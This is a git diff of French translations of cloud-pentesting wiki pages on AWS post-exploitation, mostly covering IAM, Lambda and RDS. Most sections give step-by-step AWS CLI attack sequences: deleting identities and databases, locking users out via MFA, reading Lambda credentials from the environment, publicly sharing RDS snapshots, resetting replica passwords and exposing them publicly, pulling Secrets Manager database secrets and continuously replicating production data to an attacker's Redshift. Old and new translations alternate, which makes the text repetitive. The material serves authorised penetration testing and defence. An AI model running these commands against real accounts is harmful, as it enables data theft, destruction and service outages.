Le caractère générique IAM iam:Delete* accorde la capacité de supprimer de nombreux types de ressources IAM — users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. — et a donc un très large rayon d'impact : un acteur disposant de iam:Delete* peut détruire de manière permanente des identities, credentials, policies et artefacts associés, supprimer des éléments d'audit/evidence, et provoquer des interruptions de service ou des pannes opérationnelles. Voici quelques exemples :
La wildcard IAM `iam:Delete*` accorde la capacité de supprimer de nombreux types de ressources IAM — users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. — et a donc un rayon d'impact très élevé : un acteur auquel `iam:Delete*` est accordé peut détruire définitivement des identities, credentials, policies et artefacts associés, supprimer des audits/preuves, et provoquer des interruptions de service ou des pannes opérationnelles. Quelques exemples :
```bash
# Delete a user
aws iam delete-user --user-name <Username>
@@ -173,11 +175,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
```
### `iam:EnableMFADevice`
Un acteur disposant de l'action iam:EnableMFADevice peut enregistrer un MFA device sur une identité du compte, à condition que le user n'en ait pas déjà un activé. Cela peut être utilisé pour perturber l'accès d'un user : une fois qu'un attacker enregistre un MFA device, le user légitime peut se voir empêché de se connecter car il ne contrôle pas le MFA device enregistré par l'attacker.
Un acteur disposant de l'action iam:EnableMFADevice peut enregistrer un appareil MFA sur une identity dans le account, à condition que le user n'en ait pas déjà un activé. Cela peut être utilisé pour perturber l'accès d'un user : une fois qu'un attacker enregistre un appareil MFA, le user légitime peut être empêché de sign in parce qu'il ne contrôle pas l'appareil MFA enregistré par l'attacker.
Cette denial-of-access attack ne fonctionne que si le user n'avait aucun MFA enregistré ; si l'attacker enregistre un MFA device pour ce user, le user légitime sera verrouillé hors de tous les flux qui requièrent ce nouveau MFA. Si le user possède déjà un ou plusieurs MFA devices sous son contrôle, l'ajout d'un MFA contrôlé par l'attacker n'empêche pas le user légitime — il peut continuer à authenticate en utilisant n'importe quel MFA qu'il possède déjà.
Cette attaque de déni d'accès ne fonctionne que si le user n'avait aucun MFA enregistré ; si l'attacker enregistre un appareil MFA pour ce user, le user légitime sera verrouillé hors de tous les flows qui exigent ce nouveau MFA. Si le user possède déjà un ou plusieurs appareils MFA sous son contrôle, l'ajout d'un MFA contrôlé par l'attacker ne bloque pas le user légitime — il peut continuer à s'authentifier en utilisant n'importe quel MFA qu'il possède déjà.
Pour enable (register) un MFA device pour un user, un attacker pourrait exécuter :
Pour enable (register) un appareil MFA pour un user un attacker pourrait exécuter :
```bash
aws iam enable-mfa-device \
--user-name <Username> \

40
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
View File

@@ -1,4 +1,4 @@
# AWS - Lambda Post-exploitation
# AWS - Lambda Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,77 +10,77 @@ Pour plus d'informations, consultez :
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Exfilrtate Lambda Credentials
### Exfiltrer les identifiants Lambda
Lambda utilise des variables d'environnement pour injecter des credentials à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle-même), vous pouvez les utiliser vous-même. Les credentials se trouvent dans les noms de variables par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`.
Lambda utilise des variables d'environnement pour injecter des identifiants à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle-même), vous pouvez les utiliser vous-même. Ils se trouvent dans les noms de variables par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`.
Par défaut, ceux-ci auront accès pour écrire dans un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi que pour créer des log groups arbitraires ; cependant les fonctions Lambda ont fréquemment plus de permissions assignées en fonction de leur usage prévu.
Par défaut, ceux-ci auront accès pour écrire dans un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi que pour créer des log groups arbitraires ; cependant les fonctions Lambda ont fréquemment plus d'autorisations attribuées en fonction de leur usage prévu.
### `lambda:Delete*`
Un attaquant auquel on a accordé lambda:Delete* peut supprimer des Lambda functions, des versions/aliases, des layers, des event source mappings et d'autres configurations associées.
Un attaquant se voyant accorder lambda:Delete* peut supprimer des fonctions Lambda, versions/aliases, layers, event source mappings et d'autres configurations associées.
```bash
aws lambda delete-function \
--function-name <LAMBDA_NAME>
```
### Voler les requêtes URL Lambda d'autres utilisateurs
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
Si un attaquant parvient d'une manière ou d'une autre à obtenir RCE dans une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs envoyées à la Lambda. Si ces requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les récupérer.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Voler les requêtes URL Lambda d'autres utilisateurs & requêtes d'extensions
### Voler les requêtes URL Lambda d'autres utilisateurs et les requêtes d'extensions
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
En abusant des Lambda Layers, il est aussi possible d'abuser des extensions et de persister dans la Lambda, mais aussi de voler et modifier les requêtes.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda – contournement de l'egress VPC
### AWS Lambda – VPC Egress Bypass
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
Forcez une fonction Lambda à sortir d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, retrouvant l'accès sortant à Internet et contournant les contrôles d'egress appliqués par des sous‑réseaux VPC privés sans NAT.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda – Abus de Runtime Pinning/Rollback
### AWS Lambda – Runtime Pinning/Rollback Abuse
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
Abusez de `lambda:PutRuntimeManagementConfig` pour épingler une fonction à une version de runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et la persistance à long terme.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda – siphonnage de logs via LoggingConfig.LogGroup Redirection
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
Abusez des contrôles avancés de journalisation `lambda:UpdateFunctionConfiguration` pour rediriger les logs d'une fonction vers un log group CloudWatch Logs choisi par l'attaquant. Cela fonctionne sans modifier le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Si la fonction affiche des secrets/corps de requêtes ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Exposition publique de Lambda Function URL
### AWS - Lambda Function URL Public Exposure
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
Transformez une Function URL Lambda privée en un endpoint public non authentifié en passant le Function URL AuthType à NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
{{#ref}}
aws-lambda-function-url-public-exposure.md
{{#endref}}
### AWS Lambda – détournement de la cible d'Event Source Mapping
### AWS Lambda – Event Source Mapping Target Hijack
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
Abusez de `UpdateEventSourceMapping` pour changer la fonction Lambda cible d'un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis ou SQS soient livrés à une fonction contrôlée par l'attaquant. Cela détourne silencieusement des données en direct sans toucher aux producteurs ni au code de la fonction originale.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
{{#endref}}
### AWS Lambda – exfiltration de données via injection de montage EFS
### AWS Lambda – EFS Mount Injection data exfiltration
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
Abusez de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployez un code trivial qui liste/lit les fichiers depuis le chemin monté pour exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant.
{{#ref}}
aws-lambda-efs-mount-injection.md

120
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
View File

@@ -1,4 +1,4 @@
# AWS - RDS Post Exploitation
# AWS - RDS Post-Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -39,22 +39,21 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l'arrêt immédiat d'une instance RDS ou d'un cluster entier, provoquant l'indisponibilité de la base de données, des connexions rompues et l'interruption des processus qui dépendent de la base de données.
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l'arrêt immédiat d'une instance RDS ou d'un cluster entier, provoquant l'indisponibilité de la base de données, des connexions rompues et l'interruption des processus qui en dépendent.
Pour arrêter une seule instance DB (exemple) :
Pour arrêter une seule instance de base de données (exemple) :
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Pour arrêter entièrement un cluster DB (exemple) :
Pour arrêter un cluster DB entier (exemple):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Delete*`
Un attaquant auquel on a accordé `rds:Delete*` peut supprimer des ressources RDS, effaçant des instances de bases de données, des clusters, des snapshots, des sauvegardes automatiques, des groupes de sous-réseaux, des groupes de paramètres/options et des artefacts associés, provoquant une interruption de service immédiate, une perte de données, la destruction des points de restauration et la perte de preuves médico-légales.
Un attaquant auquel on octroie rds:Delete* peut supprimer des ressources RDS — supprimer DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups et autres artefacts associés — entraînant une coupure de service immédiate, une perte de données, la destruction des recovery points et la perte de preuves médico-légales.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -79,7 +78,7 @@ aws rds delete-db-cluster \
Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **accessible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
Si l'attaquant **n'a pas `rds:CreateDBSnapshot`**, il pourrait néanmoins rendre **publiques** d'autres snapshots déjà créés.
Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il peut toutefois rendre **publics** d'autres snapshots créés.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -90,11 +89,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers de logs d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour escalader ses privilèges ou effectuer des actions non autorisées.
Un attaquant disposant de l'autorisation `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par inadvertance, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potential Impact**: Accès à des informations sensibles ou à des actions non autorisées en utilisant des leaked credentials.
**Potential Impact**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant des leaked credentials.
### `rds:DeleteDBInstance`
@@ -103,35 +102,35 @@ Un attaquant disposant de ces autorisations peut **DoS des instances RDS existan
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Impact potentiel** : Suppression des instances RDS existantes et perte potentielle de données.
**Impact potentiel**: Suppression des instances RDS existantes et perte potentielle de données.
### `rds:StartExportTask`
> [!NOTE]
> TODO : Tester
Un attaquant disposant de cette autorisation peut **exporter un instantané d'une instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans l'instantané exporté.
Un attaquant disposant de cette permission peut **exporter un snapshot d'instance RDS vers un S3 bucket**. Si l'attaquant contrôle le S3 bucket de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Impact potentiel** : Accès à des données sensibles dans le snapshot exporté.
### Réplication inter-région des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Abusez de la réplication inter-région des sauvegardes automatisées pour dupliquer discrètement les sauvegardes automatisées d'une instance RDS dans une autre région AWS et y effectuer une restauration. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe maître pour accéder aux données hors bande dans une région que les défenseurs pourraient ne pas surveiller.
Abuse cross-Region automated backups replication pour dupliquer discrètement les automated backups d'une instance RDS dans une autre AWS Region et y restaurer. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données en dehors des contrôles habituels dans une Region que les défenseurs pourraient ne pas surveiller.
Permissions nécessaires (minimum) :
- `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination
- `rds:DescribeDBInstanceAutomatedBackups` dans la région de destination
- `rds:RestoreDBInstanceToPointInTime` dans la région de destination
- `rds:ModifyDBInstance` dans la région de destination
- `rds:StopDBInstanceAutomatedBackupsReplication` (nettoyage optionnel)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (pour exposer la DB restaurée)
Permissions requises (minimum) :
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre Region et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
<details>
<summary>CLI de bout en bout (remplacez les espaces réservés)</summary>
<summary>CLI de bout en bout (remplacer les placeholders)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -200,18 +199,18 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via RDS log APIs
### Activer la journalisation SQL complète via DB parameter groups et exfiltrate via RDS log APIs
Abuser de `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du DB engine requis). Activez la journalisation SQL du moteur et récupérez les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou la REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
Abuser `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB nécessaire). Activer la journalisation SQL du moteur et récupérer les fichiers logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
Permissions requises (minimum):
Permissions requises (minimum) :
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise celui par défaut)
- `rds:RebootDBInstance` (pour les paramètres nécessitant un reboot, par ex. PostgreSQL)
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise le default)
- `rds:RebootDBInstance` (pour les paramètres nécessitant un reboot, ex. PostgreSQL)
Étapes
1) Recon de la cible et du DB parameter group actuel
Steps
1) Recon target and current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
@@ -219,7 +218,7 @@ aws rds describe-db-instances \
```
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut)
- Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante.
- Sinon, créez-en et attachez-en un correspondant à la famille du moteur :
- Sinon, créez et attachez-en un correspondant à la famille du moteur :
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -234,7 +233,7 @@ aws rds modify-db-instance \
# Wait until status becomes "available"
```
3) Activer la journalisation SQL détaillée
- MySQL engines (immédiat / sans redémarrage):
- Moteurs MySQL (immédiat / sans redémarrage):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -257,11 +256,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Laissez la charge de travail s'exécuter (ou générez des requêtes). Les requêtes seront écrites dans les fichiers de logs du moteur
4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les logs de fichiers du moteur
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Repérez et téléchargez les logs (aucun identifiant DB requis)
5) Découvrir et télécharger les logs (aucun identifiant DB requis)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -272,7 +271,7 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) Analyser hors ligne les données sensibles
6) Analyser hors ligne à la recherche de données sensibles
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
@@ -298,11 +297,11 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Impact : Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
Impact : Post-exploitation — accès aux données en capturant toutes les requêtes SQL applicatives via les AWS APIs (no DB creds), potentiellement leaking secrets, JWTs et PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Abuse RDS read replicas pour obtenir un accès en lecture hors-bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une read replica à partir d'une instance de production, réinitialiser le replica's master password (cela ne modifie pas le primary), et éventuellement exposer la replica publiquement pour exfiltrate data.
Abuser des RDS read replicas pour obtenir un accès en lecture out-of-band sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une read replica à partir d'une instance de production, réinitialiser le master password de la replica (cela ne modifie pas l'instance primaire), et éventuellement exposer la replica publiquement pour exfiltrer des données.
Permissions nécessaires (minimum) :
- `rds:DescribeDBInstances`
@@ -310,7 +309,7 @@ Permissions nécessaires (minimum) :
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Impact : accès en lecture seule aux données de production via une replica avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite puisque le primary reste intact et la réplication continue.
Impact : Accès en lecture seule aux données de production via une replica avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car l'instance primaire reste intacte et la réplication continue.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -341,14 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Exemple de preuve (MySQL) :
- Statut de la DB réplique : `available`, réplication en lecture : `replicating`
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplique.
Exemple de preuves (MySQL) :
- Statut de la DB répliquée : `available`, réplication en lecture : `replicating`
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplica.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Exploiter RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). Ceci est plus discret que le partage de snapshots et contourne souvent la surveillance ciblant uniquement la source.
Abuse RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué et en lecture seule. Puis réinitialisez les identifiants master du green pour accéder aux données sans toucher à l'instance blue (prod). C'est plus discret que le partage de snapshot et contourne souvent la surveillance qui se concentre uniquement sur la source.
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -395,19 +393,19 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Impact : Accès en lecture seule mais avec accès complet aux données d'un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
Impact : Lecture seule mais accès complet aux données d'un clone quasi temps réel de la production sans modification de l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + en réinitialisant le master password
### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisant le mot de passe principal
Exploiter Aurora pour activer l'HTTP endpoint du RDS Data API sur un cluster cible, réinitialiser le master password à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui supportent le Data API/EnableHttpEndpoint (par ex., Aurora MySQL 8.0 provisioned ; certaines versions Aurora PostgreSQL/MySQL).
Abuser d'Aurora pour activer le RDS Data API HTTP endpoint sur un cluster cible, réinitialiser le mot de passe principal à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
Permissions (minimum) :
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impact : Contourner la segmentation réseau et exfiltrer des données via AWS APIs sans connectivité VPC directe vers la DB.
Impact : contourne la segmentation réseau et exfiltre des données via les API AWS sans connectivité VPC directe au DB.
<details>
<summary>CLI de bout en bout (exemple Aurora MySQL)</summary>
@@ -463,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Remarques :
- Si des instructions SQL multi-statements sont rejetées par rds-data, effectuez des appels execute-statement séparés.
- Si rds-data rejette des instructions SQL multi-énoncés, effectuez des appels execute-statement séparés.
- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
- Assurez-vous que le moteur/la version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False.
- Assurez-vous que le moteur/version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False.
### Récupération des identifiants DB via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Exploitez la configuration de RDS Proxy pour découvrir le secret de Secrets Manager utilisé pour l'authentification backend, puis lisez le secret pour obtenir les identifiants de la base de données. De nombreux environnements accordent largement `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal cadrées peuvent aussi permettre `kms:Decrypt`.
Abusez de la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lisez ce secret pour obtenir les identifiants de la base de données. Dans de nombreux environnements, l'autorisation étendue `secretsmanager:GetSecretValue` est accordée, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal ciblées peuvent également permettre `kms:Decrypt`.
Permissions nécessaires (minimum) :
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
- Optionnel lorsque le secret utilise une CMK : `kms:Decrypt` sur cette clé
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou un mouvement latéral supplémentaire.
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou une propagation latérale supplémentaire.
Étapes
```bash
@@ -492,7 +490,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Lab (minimal pour reproduire)
Laboratoire (config minimale pour reproduire)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -518,20 +516,20 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
### Exfiltration continue discrète via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration)
Exploiter l'intégration zero‑ETL d'Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une Redshift resource policy permissive qui autorise CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi‑temps réel sans DB creds, snapshots ni exposition réseau.
Exploiter l'intégration Aurora PostgreSQL zero‑ETL pour répliquer en continu les données de production dans un espace de noms Redshift Serverless que vous contrôlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour l'ARN d'un cluster Aurora spécifique, un attaquant peut établir une copie des données quasi-temps réel sans identifiants DB, snapshots ni exposition réseau.
Permissions nécessaires (minimum) :
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (pour interroger)
- `rds-data:ExecuteStatement` (optionnel ; pour initialiser des données si nécessaire)
Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Créer Redshift Serverless namespace + workgroup</summary>
<summary>1) Créer un namespace Redshift Serverless + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -547,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
</details>
<details>
<summary>2) Configurer la resource policy de Redshift pour autoriser la source Aurora</summary>
<summary>2) Configurer la politique de ressources Redshift pour autoriser la source Aurora</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -636,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
Preuves observées lors du test :
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION a affiché integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
